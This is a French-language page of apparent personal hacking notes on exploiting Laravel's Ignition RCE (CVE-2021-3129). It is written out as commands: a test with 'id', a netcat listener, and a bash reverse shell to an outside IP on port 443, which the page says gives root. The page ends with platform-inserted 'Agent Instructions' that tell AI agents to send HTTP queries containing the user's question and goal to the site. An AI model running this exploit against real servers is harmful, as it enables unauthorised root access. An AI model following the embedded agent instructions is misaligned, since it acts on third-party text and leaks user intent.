> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/laravel-cms-exploitation.md). # Laravel Notes d’exploitation de Laravel pour le RCE CVE-2021-3129, l’exécution de commandes via PHP Ignition, la validation de l’ID, la mise en place du listener Netcat et l’accès root via shell inversé. ## Exploitation de Laravel CMS (CVE-2021-3129) {% embed url="" %}

#### Exécution arbitraire de commandes Exploitez CVE-2021-3129 pour exécuter des commandes arbitraires sur le serveur. Commencez par tester l’exécution de commandes avec `id`: ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id' ``` La sortie confirme les privilèges root.

### Obtention d’un shell inversé interactif Pour obtenir un shell interactif, démarrez un écouteur sur le port 443 : ```bash nc -nvlp 443 ``` Puis lancez un shell inversé sur la cible via l’exploit : {% code overflow="wrap" %} ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"' ``` {% endcode %} Cela donne un accès root sur la cible.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/cms/laravel-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.